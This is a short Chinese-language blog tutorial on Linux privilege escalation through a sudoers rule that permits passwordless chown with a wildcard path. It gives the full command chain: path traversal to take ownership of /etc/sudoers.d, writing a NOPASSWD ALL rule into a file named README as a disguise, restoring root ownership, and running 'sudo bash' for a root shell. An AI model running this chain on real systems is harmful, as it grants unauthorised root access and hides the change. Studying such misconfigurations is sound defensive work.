Linux提权之sudoers文件提权

利用条件
需要在sudoers文件内配置
ALL ALL=(root) NOPASSWD: /bin/chown * /opt/applog/*
也就是所有人可以无密码执行chown命令和访问/opt/applog/*目录,这里我目录可以是其他目录
使用sudo -l 命令可以查看当前用户可以执行的命令:
提权步骤:
待提权用户如图:如果可以利用这个 jboss 用户在 sudoers.d 目录下面的文件设置 jboss ALL=(ALL) NOPASSWD:ALL 即可实现jboss无需密码执行任意命令
此目录在centos中初始为空
- 由于任意用户都可以使用chown,所以 jboss 可以使用chown 设置这个目录为 jboss 所有
sudo chown jboss:jboss /opt/applog/../../etc/sudoers.d/
这里需要搭配 jboss 无需密码即可访问的 /opt/applog 进行一次提权
执行成功 - 将 jboss ALL=(ALL) NOPASSWD:ALL 写入 sudoers.d 目录下的文件中,这里选择新建并写入一个README中进行伪装,注意:Centos中这个目录下无文件,但是Ubuntu中初始就存在README文件,需要写入到其他文件中
echo ‘jboss ALL=(ALL) NOPASSWD: ALL’ > /etc/sudoers.d/README
写入成功 - 由于想要利用 sudo 执行命令还需要使 root 用户可以读取到这个 sudoers.d 目录及其下面的东西,所以要将所有权限还给root
sudo chown root:root /opt/applog/../../etc/sudoers.d/README
sudo chown root:root /opt/applog/../../etc/sudoers.d/ - 此时 jboss 用户就可以无密码利用sudo运行命令了,使用sudo bash 获取root的shell:
- 标题: Linux提权之sudoers文件提权
- 作者: S1naG0u
- 创建于 : 2025-07-19 00:00:00
- 更新于 : 2025-08-27 17:22:48
- 链接: https://s1nag0u.github.io/2025/07/19/Linux提权之sudoers文件提权/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。